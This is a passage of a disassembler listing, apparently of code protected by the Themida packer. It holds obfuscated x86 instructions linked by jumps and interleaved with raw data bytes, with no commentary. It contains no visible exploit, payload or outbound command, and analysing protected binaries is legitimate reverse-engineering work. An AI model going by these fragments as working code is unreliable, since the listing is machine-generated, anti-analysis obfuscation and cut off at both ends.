		add	al, 0A7h
		mov	bx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_569E00
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55EBED
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4ED81h, 2C870000h, 2C895C24h, 815D5424h, 4C5h, 4C58100h
		dd 0E9000000h, 0FFFF814Ah, 0E0895053h, 405h, 0E5BE5600h
		dd 810C9E55h, 0EE140EF6h, 9001E929h, 48B0000h, 71586824h
		dd 0C890000h, 0C8B5424h, 0D6E95024h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561E33:				; CODE XREF: Themida_:00568F75j
		pop	esi
		add	ecx, 5A247A1h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_56A214
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 64h
		dd 0E9BA3681h, 0FFFF5E0Dh, 0FF2434FFh, 0C8B2434h, 4C48124h
		dd 0E9000000h, 0FFFF47B1h, 45E9DA88h, 8BFFFF74h, 8950240Ch
		dd 405E0h, 0C0830000h, 86A3E904h, 2C31FFFFh, 41E5E924h
		dd 0E9810000h, 21A270FDh, 47C3E941h, 8F5D0000h,	87E92404h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E9B:				; CODE XREF: Themida_:00566601j
		mov	[esp], edi
		push	esi
		jmp	loc_56A96B
; ---------------------------------------------------------------------------
		dd 89243489h, 6FE951E6h, 68FFFFD4h, 7CA8h, 0FF241C89h
		dd 0E9042474h, 3DF5h, 1473B951h, 0CD894FE8h, 83240C8Bh
		dd 0F75504C4h, 0F75D2414h, 350FE9DDh, 0F7480000h, 214B2DD8h
		dd 1EE96FADh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EE7:				; CODE XREF: Themida_:0055C43Ej
		inc	esi
		jmp	loc_55FA73
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 0E9000000h, 0FFFFF256h, 8BFD295Ah, 0C481243Ch, 4, 903DE9h
		dd 0CF896600h, 0EF296659h, 0F801665Dh, 665A5F66h, 6633C205h
		dd 667EFC2Dh, 6673292Dh, 566D829h, 5667329h, 2D667EFCh
		dd 2D6633C2h, 686634BEh, 896633A6h, 4C68241Ch, 89000079h
		dd 0B8662404h, 93664C5Fh, 0FFEB8366h, 0FF869AE9h, 7BDF2DFFh
		dd 53E9909Ch
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F5F:				; CODE XREF: Themida_:0055B44Dj
		pop	eax
		add	eax, 0D123E92h
		pop	edi
		mov	edx, 5C9F4F0Dh
		sub	edx, eax
		pop	eax
		add	dword ptr [esp+4], 54E61EF4h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 54E61EF4h
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55B18C
; ---------------------------------------------------------------------------


loc_561F90:				; CODE XREF: Themida_:00558F39j
		add	esp, 4
		sub	edi, 3F81511Fh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_562FC2
; ---------------------------------------------------------------------------
		dw 8146h
		dd 8F3943EEh, 59F6816Eh, 0E91F2156h, 16F4h
; ---------------------------------------------------------------------------


loc_561FB4:				; CODE XREF: Themida_:00566527j
		push	ebx
		jmp	loc_5606A9
; ---------------------------------------------------------------------------


loc_561FBA:				; CODE XREF: Themida_:00568A93j
		pop	eax
		pop	ecx
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 77h
		dd 5B11F642h, 0FFF607E9h, 5B04ACFFh, 6A1D68h, 241C8900h
		dd 0F76889B7h, 89000059h, 0F988240Ch, 0FF3E7CE9h, 0C8E950FFh
		dd 1000086h, 0AFA6E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FF6:				; CODE XREF: Themida_:00556C11j
		pop	ebx
		neg	esi
		jmp	loc_565934
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 796BE9h, 4C68300h, 0FF6528E9h, 1C680FFh
		dd 85AF300h, 5F4EE9DEh,	0C009FFFFh, 2DC8840Fh, 9680000h
		dd 89000001h, 21E9241Ch, 0BA000089h, 50FB6043h,	0FF5D5CE9h
		dd 93E959FFh
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562043:				; CODE XREF: Themida_:0055E951j
		push	ebx
		jmp	loc_566FE1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0E80FB4C3h, 9FD1E940h, 8B66FFFFh,	0F2E9243Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 4
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_55F7A9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 0FF8B75E9h, 86E959FFh, 0F7FFFF4Ch, 0E3E94AD2h
		dd 0B8FFFF8Ch, 0FF5EE004h, 0A9E9C289h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5620A7:				; CODE XREF: Themida_:00562DABj
		mov	ecx, esp
		jmp	loc_56317C
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0CC5F4DCh, 0E95BDA29h, 7254h, 64B9C381h, 595D2EDDh
		dd 5302C383h, 2C52E9h, 33826800h, 14890000h, 8024B624h
		dd 0F680FFEEh, 5AF308BCh, 0C7B15166h, 5966CB00h, 1C047104h
		dd 1C2CD828h, 51B45053h, 0FEEEEC80h, 80D4F6C4h,	0FFE92FF4h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562103:				; CODE XREF: Themida_:00565EE4j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_5638AC
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C24048Fh, 24048B66h, 65EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_562131:				; CODE XREF: Themida_:00561445j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	669Bh
		mov	[esp], edx
		mov	edx, 4FD438FBh
		xor	edx, 0B6A4200h
		push	edx
		pop	ebx
		pop	edx
		add	ebx, 429614CDh
		sub	ebx, 2FF248A8h
		inc	ebx
		jmp	loc_561571
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 2
		dd 81000000h, 0C05B9DC2h, 0E9C20125h, 4D53h
; ---------------------------------------------------------------------------


loc_56217C:				; CODE XREF: Themida_:0055F7B0j
		and	edx, 0CAE3098h
		sub	edx, 0CA2308Ch
		sub	esi, 69AA3413h
		add	esi, edx
		add	esi, 69AA3413h
		pop	edx
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		jmp	loc_55ECFD
; ---------------------------------------------------------------------------
		dd 24048F58h, 0F24248Bh, 9C2404A3h, 0FF3B0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5621B5:				; CODE XREF: Themida_:005596BFj
		shr	eax, 6
		or	eax, 0DEC73E7h
		dec	eax
		not	eax
		dec	eax
		jmp	loc_55BE5F
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0FA79A3F2h, 3EAC131h, 0E905E2C1h, 7430h, 9D1C77FFh
		dd 0D3665966h, 0E99C241Ch, 0FFFF3ADCh, 48B665Ch, 73F96824h
		dd 1C890000h, 3DEA6824h, 8F540000h, 4812404h, 424h, 68515B00h
		dd 8D6h, 0BB241C89h, 4,	815BD989h, 174557C3h, 0E9CB0113h
		dd 7B71h
; ---------------------------------------------------------------------------


loc_562224:				; CODE XREF: Themida_:0055A6A2j
		sub	ecx, edx
		jmp	loc_565F3B
; ---------------------------------------------------------------------------
		db 68h
		dd 10A4h
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_566CB5
; ---------------------------------------------------------------------------
		db 64h,	8Fh, 2
		dd 0FF3A7BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562249:				; CODE XREF: Themida_:0056788Dj
		add	edx, 67B16BDFh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_562A0B
; ---------------------------------------------------------------------------
		db 89h
		dd 45682414h, 5A275356h, 0E904E2C1h, 7DBEh, 0FF3A47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56227D:				; CODE XREF: Themida_:005565CFj
		mov	[esp], eax
		mov	al, 9Eh
		shr	al, 2
		and	al, 25h
		xor	al, 29h
		push	edx
		jmp	loc_564ADA
; ---------------------------------------------------------------------------
		db 81h
		dd 3902ADC7h, 81DF015Dh, 3902ADEFh, 0F8295B5Dh,	5F2434FFh
		dd 272E9h, 4C48100h, 8F000000h,	248B2404h, 6786824h, 1C890000h
		dd 67466824h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56A02B
; ---------------------------------------------------------------------------


loc_5622D9:				; CODE XREF: Themida_:00559295j
		xor	eax, 9EA2A045h
		add	ebx, eax
		pop	eax
		sub	ebx, 636C47D5h
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8040323h
		sub	[esp+4], edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1B0D1AB2h
		or	ecx, 6B0A21E1h
		neg	ecx
		xor	ecx, 3184761Fh
		jmp	loc_5560AA
; ---------------------------------------------------------------------------


loc_562322:				; CODE XREF: Themida_:0055A29Aj
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_568057
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 81000000h, 535725C3h, 81FB0149h, 535725EBh, 0EC835F49h
		dd 24348904h, 0FFC4DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56234D:				; CODE XREF: Themida_:0055F0D5j
		add	esi, 4
		jmp	loc_56051D
; ---------------------------------------------------------------------------


loc_562358:				; CODE XREF: Themida_:00562CEDj
		add	ecx, 2E934C50h
		add	ebp, ecx
		pop	ecx
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		dec	eax
		dec	eax
		shr	eax, 5
		jmp	loc_56054B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5D3BBF57h, 0C7816FDBh, 5C015A47h, 4592E9h, 24348B00h
		dd 4C481h, 0EC830000h, 24148904h, 705BE9h, 0F9E95000h
		dd 0BA00000Ch, 10003D06h, 81D2F74Ah, 0F11A15C2h, 0F0C28115h
		dd 1FA0F22h, 0F2E95AD0h, 81000050h, 3248DCF2h, 4EC8145h
		dd 89000000h, 68522404h, 7CCA1BE0h, 71F2815Ah, 8957622Bh
		dd 24148BD0h, 4C481h, 0C2290000h, 2BEA8158h, 11C1F43h
		dd 0EC815AD5h, 4, 89240489h, 405E0h, 0E8830000h, 24048704h
		dd 242C895Ch, 42474FFh,	0FF5A34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562415:				; CODE XREF: Themida_:00563420j
		neg	eax
		jmp	loc_55793A
; ---------------------------------------------------------------------------
aSK		db '^é»k',0
		align 2
		dw 0BB53h
		dd 4, 5D19C281h, 0DA012D79h, 234E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562436:				; CODE XREF: Themida_:00556700j
		pop	esi
		push	ecx
		push	43982C31h
		jmp	loc_566239
; ---------------------------------------------------------------------------
		dw 0E328h
		dd 0FF9A62E9h, 0EC83ACFFh, 24148904h, 0F3E90FB6h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562457:				; CODE XREF: Themida_:005687B9j
		shl	edi, 6
		jmp	loc_56741E
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1AFB53A4h, 0FFA82BE9h, 2BAFFh, 0ACE90000h, 8B00003Ch
		dd 55E92404h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56247B:				; CODE XREF: Themida_:005567D1j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_557DAD
; ---------------------------------------------------------------------------
		db 29h
		dd 0FBC581FDh, 81717668h, 7A6EE7C5h, 0CA685F51h, 8900004Dh
		dd 8DBB241Ch, 4B744117h, 6914E94Bh, 1489FFFFh, 3B3ABA24h
		dd 0EAC16B8Dh, 1EA8103h, 83000000h, 0BF57FFC2h,	19431683h
		dd 6491EF81h, 0F7810CC9h, 73B67F5Fh, 6666E9h
		db 0
; ---------------------------------------------------------------------------


loc_5624D5:				; CODE XREF: Themida_:00568BD8j
		mov	[esp], edx
		mov	dh, 6Bh
		jmp	loc_5677BB
; ---------------------------------------------------------------------------
		db 1
		dd 0D204E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5624E6:				; CODE XREF: Themida_:0056A103j
		pop	esp


loc_5624E7:				; CODE XREF: Themida_:00555E42j
					; Themida_:0056817Aj
		sub	esp, 4
		jmp	loc_55600F
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 0E95C2404h, 0FFFFEC9Eh, 557C681h,	2C8B3340h
		dd 4C48124h, 0E9000000h, 0FFFF54DDh, 64E9D730h,	83FFFFC6h
		dd 6E904C4h, 81FFFFA3h,	0C82182F5h, 5DE901A1h, 203FE9h
		dd 4C48100h, 80000000h,	0C4E926C3h, 88FFFFD1h, 5BDA88C3h
		dd 5AD58858h, 0F580CDFEh, 2C4E04A5h, 4E82891h, 0E94E2C91h
		dd 0FFFF8811h, 6602EC83h, 50241489h, 51E933B0h,	31000001h
		dd 3C33243Ch, 5EE95C24h, 81FFFFD6h, 744154EDh, 241C8B62h
		dd 4C481h, 0EC830000h, 24148904h, 5C653ABAh, 0E6BB5300h
		dd 12EF750h, 0E831E9DAh, 0F381FFFFh, 5932296Ah,	2F7E381h
		dd 0E3C1264Ah, 72BF5705h, 0E9636D88h, 3535h, 565BDF01h
		dd 2AB0E9h, 51C5BD00h, 81452E00h, 254994EDh, 8BEA89B6h
		dd 0C483242Ch, 0CEBE5604h, 90C634Fh, 0F2875EF2h, 0F287D6F7h
		dd 0C107E2C1h, 6EE908E2h, 53FFFF64h, 14551968h,	0C3815B18h
		dd 0FFFFFFFFh, 0E9504343h, 0FFFFB7A7h, 6F64E95Fh, 8147FFFFh
		dd 0C370F8EFh, 91EF810Eh, 0E952CA6Dh, 0FFFFE181h, 5051665Bh
		dd 0E58865B4h, 66EC2058h, 0B7536659h, 0E9FC300Dh, 0FFFF9F6Fh
		dd 5D2434FFh, 2C8B5455h, 4C48324h, 5E35E9h, 2474FF00h
		dd 2434FF04h, 6824048Bh, 42BFh,	89243C89h, 4C781E7h, 83000000h
		dd 3C8704C7h, 115CE924h, 0BD550000h, 5E7A466Eh,	8107E5C1h
		dd 8F3C94C5h, 0F599E917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56267E:				; CODE XREF: Themida_:00560F81j
		push	7718h
		mov	[esp], ebp
		push	ebx
		jmp	loc_56A2E9
; ---------------------------------------------------------------------------
		dd 215DEF89h, 4E93E9F8h, 0EE83FFFFh, 5CEE8101h,	29B24C2Ah
		dd 15E95EF0h, 0FFFFFF93h, 348B2434h, 0ADE95324h, 0FFFFFF79h
		dd 0E9042474h, 0FFFF7B2Bh, 34FFC688h, 0C4835824h, 66F70804h
		dd 7E7C05Ah, 0FF9617E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5626D1:				; CODE XREF: Themida_:0055C913j
		sub	esi, 7D182ABEh
		sub	esi, 3BB51777h
		add	esi, ecx
		add	esi, 3BB51777h
		push	3165h
		mov	[esp], edx
		mov	edx, 2D28657Dh
		shl	edx, 8
		shr	edx, 6
		sub	edx, 83896B36h
		add	esi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5657F9
; ---------------------------------------------------------------------------
		dd 4BA5258h, 51000000h,	0FF9E30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562721:				; CODE XREF: Themida_:0056A24Aj
		pop	ebx
		jmp	loc_567509
; ---------------------------------------------------------------------------


loc_562727:				; CODE XREF: Themida_:005591D1j
		xchg	edi, [esp]
		jmp	loc_5664FA
; ---------------------------------------------------------------------------
		db 50h
		dd 3C474DB8h, 0FFE9510Dh, 8B000016h, 0C4812434h, 4, 0F681EED1h
		dd 7AB0852h, 6F8EED81h,	57E90D49h, 1FFFF5Bh, 0B5C181F9h
		dd 81281C1Fh, 0D158AFC1h, 243C8B4Ah, 81E18951h,	4C1h, 49AAE900h
		dd 885B0000h, 0EF005AF5h, 0BCF78059h, 685BF828h, 5897h
		dd 0FFA9AEE9h, 240487FFh, 0FFDB75E9h, 241C89FFh, 415465BBh
		dd 37EDE93Bh, 3C89FFFFh, 41CDBF24h, 0D1E935AAh,	81FFFF36h
		dd 4C4h, 24048F00h, 6624248Bh, 0E924048Bh, 0FFFF49C6h
; ---------------------------------------------------------------------------


loc_5627C4:				; CODE XREF: Themida_:00563BC3j
		add	ecx, edx
		jmp	loc_55B02D
; ---------------------------------------------------------------------------
		db 68h
		dd 1F9167A7h, 5DC6815Eh, 83E06E98h, 348904ECh, 5831E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5627E2:				; CODE XREF: Themida_:00557BFBj
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55B946
; ---------------------------------------------------------------------------
		dd 4EA835Bh, 0E9241487h, 728Ch
; ---------------------------------------------------------------------------


loc_562804:				; CODE XREF: Themida_:00566244j
		add	ecx, 6BF36261h
		jmp	loc_55E809
; ---------------------------------------------------------------------------
		db 1
aSL_0		db 'Þ[éÙL',0
		dw 0C100h
		dd 0AF6806E0h, 8900000Bh, 9AE9241Ch
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562827:				; CODE XREF: Themida_:00559AE5j
		shl	eax, cl
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_557C20
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 7111C181h, 0F10128D7h, 7111E981h, 348B28D7h
		dd 60E95124h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562853:				; CODE XREF: Themida_:0056969Cj
		add	ebx, 87760609h
		mov	esi, ebx
		pop	ebx
		neg	esi
		jmp	loc_563FD9
; ---------------------------------------------------------------------------
		db 55h
		dd 126FD5BDh, 4EDC103h,	0DDF7DDF7h, 2AE9E5D1h, 1FFFF85h
		dd 0EEC681EEh, 0E92BE108h, 0FFFFD78Ch, 2404895Ch, 9A589468h
		dd 2434FF75h, 0FFEC72E9h, 3EFC1FFh, 0E903EFC1h,	0FFFF43D1h
; ---------------------------------------------------------------------------


loc_5628A0:				; CODE XREF: Themida_:0055CE64j
		mov	ebp, esp
		push	esi
		jmp	loc_556737
; ---------------------------------------------------------------------------
aCHdt		db 'Áæ',7,'hDt',0
		align 10h
aSt6		db 'é’6',0
		dd 5BD98900h, 4CF868h, 241C8900h, 5E4151BBh, 0E2C18113h
		dd 2938F27Bh, 0E2E981D9h, 0E938F27Bh, 0FFFFD3EFh
; ---------------------------------------------------------------------------


loc_5628D8:				; CODE XREF: Themida_:0056436Cj
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_55D1AF
; ---------------------------------------------------------------------------
aUCWhh0		db 'U½C)wHh+0',0
		align 4
		dd 0BB241C89h, 29720A86h, 78A0E955h, 0C5810000h, 3AA3523Ch
		dd 0FF4A71E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562905:				; CODE XREF: Themida_:00565D65j
		push	esi
		jmp	loc_560C24
; ---------------------------------------------------------------------------


loc_56290B:				; CODE XREF: Themida_:00560798j
		not	edi
		jmp	loc_55BF51
; ---------------------------------------------------------------------------
		dw 285Ah
		dd 596659EEh, 80B7C680h, 0F02879C6h, 4EC835Ah, 0B1240C89h
		dd 0E9D1F68Fh, 5004h, 8A760DBDh, 5DEF310Ch, 5220C181h
		dd 0F901658Eh, 5220E981h, 535F658Eh, 8904EC83h,	4B82404h
		dd 89000000h, 0E98158C3h, 499C6285h, 0C181D901h, 499C6285h
		dd 240C335Bh, 33240C31h, 248B240Ch, 240CFF24h, 334AE99Ch
		dd 0C981FFFFh, 7334376h, 0FC34C181h, 0CE01197Fh, 81240C8Bh
		dd 4C4h, 0AB95100h, 0E9414A78h,	9BEh
; ---------------------------------------------------------------------------


loc_56299C:				; CODE XREF: Themida_:00561101j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	14Ah
		jmp	loc_55ADFE
; ---------------------------------------------------------------------------


loc_5629B4:				; CODE XREF: Themida_:00562F45j
		add	esp, 4
		jmp	loc_55A774
; ---------------------------------------------------------------------------
		dd 68241C89h, 29034523h, 0F8C5E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5629CA:				; CODE XREF: Themida_:005584EBj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5599BA
; ---------------------------------------------------------------------------
		dd 2404335Fh, 0E9240431h, 727h,	3D92E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5629EA:				; CODE XREF: Themida_:00561C60j
		mov	ebp, 67F01B24h
		neg	ebp
		xor	ebp, 0B09592D1h
		sub	edi, 6CC514CDh
		jmp	loc_5600FA
; ---------------------------------------------------------------------------


loc_562A02:				; CODE XREF: Themida_:00564324j
		add	ebx, eax
		pop	eax
		push	eax
		jmp	loc_56765C
; ---------------------------------------------------------------------------


loc_562A0B:				; CODE XREF: Themida_:00562262j
		mov	[esp], esi
		mov	esi, 968653F9h
		sub	edx, 433041F2h
		jmp	loc_55FAE5
; ---------------------------------------------------------------------------
a_yhG		db '_YhÃG',0
		dd 243C8900h, 128BB850h, 0E0C11595h, 1F02D02h, 0F1E93551h
		dd 0BA000032h, 53663C6Eh, 751DE94Ah, 0E289FFFFh, 4C281h
		dd 0C2810000h, 4, 5C241487h, 0EC81D028h, 2, 0FF76CDE9h
		dd 241C87FFh, 0F24248Bh, 6FD368C8h, 4890000h, 1565E924h
		dd 0C4BA0000h, 89CD5367h, 0C1015AD0h, 8BCA3158h, 1FE9240Ch
		dd 80FFFFC8h, 0EA8096F2h, 80C2FEFFh, 0B450ABC2h, 3ECC02Ch
		dd 0F628CC80h, 0CE3CE9D4h, 8804FFFFh, 0BE9D828h, 0BDFFFF9Dh
		dd 7A763C2Ah, 0FF5DEB01h, 66E92434h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562AC3:				; CODE XREF: Themida_:0056AD70j
		pop	esi
		shr	esi, 4
		push	ebp
		mov	ebp, 1F2F7F21h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	esi, 4
		xor	esi, 74158574h
		mov	eax, esi
		pop	esi
		push	edi
		mov	edi, 4B5C0A8Ah
		xor	edi, 3EF71F2Bh
		mov	ecx, edi
		pop	edi
		add	ecx, 75F45406h
		jmp	loc_561916
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0BB3E9h, 68355D00h, 520D7730h, 392A86BAh,	5AD02920h
		dd 4C19E625h, 9E682Bh, 0F0E90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562B27:				; CODE XREF: Themida_:00563D8Cj
		sub	esp, 4
		jmp	loc_562B55
; ---------------------------------------------------------------------------
		dw 0D5BFh
		dd 56457618h, 421A71BEh, 92EE811Dh, 31D345ABh, 2434FFF7h
		dd 46BCE95Eh, 5A660000h, 16BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_562B55:				; CODE XREF: Themida_:00562B2Dj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55B3FC
; ---------------------------------------------------------------------------


loc_562B62:				; CODE XREF: Themida_:005645C0j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_564072
; ---------------------------------------------------------------------------


loc_562B6F:				; CODE XREF: Themida_:0055E1DFj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7F4979D2h
		and	ebx, 6B8366D0h
		xor	ebx, 201A3CB6h
		jmp	loc_561C7E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 31240433h, 4332404h,	24248B24h, 0FF4135E9h, 68E886FFh
		dd 1851h, 88241C89h, 5208E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562BBA:				; CODE XREF: Themida_:00557F91j
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 7FF772D8h
		mov	ebx, ecx
		jmp	loc_5687FD
; ---------------------------------------------------------------------------


loc_562BCD:				; CODE XREF: Themida_:00567465j
		push	ebp
		mov	ebp, 701E281Ah
		xor	eax, ebp
		jmp	loc_55A9B3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 27E92404h, 8B000035h, 0D9E92424h, 81FFFF30h,	0A378B8C5h
		dd 81CD297Bh, 0A378B8EDh, 0F48FE97Bh, 0F9BDFFFFh, 5710D914h
		dd 40B9ABFh, 0F7D7F764h, 3FBA52D7h, 81F51B12h, 0B7541C7h
		dd 81D7017Ch, 0B7541EFh, 0F2D2E97Ch, 77FFFFFFh,	55196838h
		dd 0B0E90000h, 47FFFF65h, 0E42AEF81h, 0FD89EE01h, 0B8BDE95Fh
		dd 8158FFFFh, 933B87EBh, 0A8C3811Bh, 14DAB14h, 0A8EB81C3h
		dd 814DAB14h, 933B87C3h, 27B9511Bh, 0E979C719h,	14D7h
; ---------------------------------------------------------------------------


loc_562C68:				; CODE XREF: Themida_:0056738Fj
		mov	[esp], edx
		push	72E0h
		mov	[esp], ebx
		sub	dword ptr [esp], 5F192233h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55CD80
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 81000000h,	4C3h, 4EB8300h,	5C241C87h, 89241C89h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 9D72E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562CB6:				; CODE XREF: Themida_:00557DCAj
		pop	esp
		mov	[esp], esi
		mov	esi, 0FB94040h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5635FA
; ---------------------------------------------------------------------------
		dd 2B60F66h, 39646866h,	0FF993CE9h, 0E9595FFFh,	0FFFFA503h
; ---------------------------------------------------------------------------


loc_562CE0:				; CODE XREF: Themida_:00557D4Fj
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ecx, 1
		jmp	loc_562358
; ---------------------------------------------------------------------------


loc_562CF2:				; CODE XREF: Themida_:00565767j
		mov	[esp], ebx
		push	esi
		push	edx
		mov	edx, 6F1320CFh
		sub	edx, 71FA5829h
		not	edx
		push	eax
		mov	eax, 74EC6F84h
		add	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 0F84A813Dh
		add	edx, ebx
		pop	ebx
		push	edx
		jmp	loc_55E735
; ---------------------------------------------------------------------------


loc_562D1C:				; CODE XREF: Themida_:00562D46j
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559B05
; ---------------------------------------------------------------------------
		db 0B9h
		dd 61AE4752h, 0F759CF01h, 2512E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562D3E:				; CODE XREF: Themida_:005641ACj
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_562D1C
; ---------------------------------------------------------------------------


loc_562D4B:				; CODE XREF: Themida_:00557E5Bj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55BA47
; ---------------------------------------------------------------------------


loc_562D59:				; CODE XREF: Themida_:00562E2Dj
		pop	ebx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_569B62
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3D68240Ch, 8900003Ch, 6DE92434h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562D7F:				; CODE XREF: Themida_:0056AD05j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55F2C1
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0E9520000h, 62D2h
; ---------------------------------------------------------------------------


loc_562D98:				; CODE XREF: Themida_:00559407j
		mov	edi, 2
		jmp	loc_55B121
; ---------------------------------------------------------------------------


loc_562DA2:				; CODE XREF: Themida_:005607ADj
		push	esi
		mov	esi, esp
		jmp	loc_559840
; ---------------------------------------------------------------------------


loc_562DAA:				; CODE XREF: Themida_:005614F1j
		push	ecx
		jmp	loc_5620A7
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 0FF042474h, 1C8B2434h, 8B07E924h, 2B9FFFFh
		dd 29000000h, 2434FFC8h, 0FF55EBE9h, 242C8BFFh,	5704C483h
		dd 2DDD6850h, 0E95864EFh, 0FFFF6BF3h, 81D830ACh, 2ECh
		dd 0C896600h, 50B124h, 0C8B66C8h, 4EC8124h, 89000000h
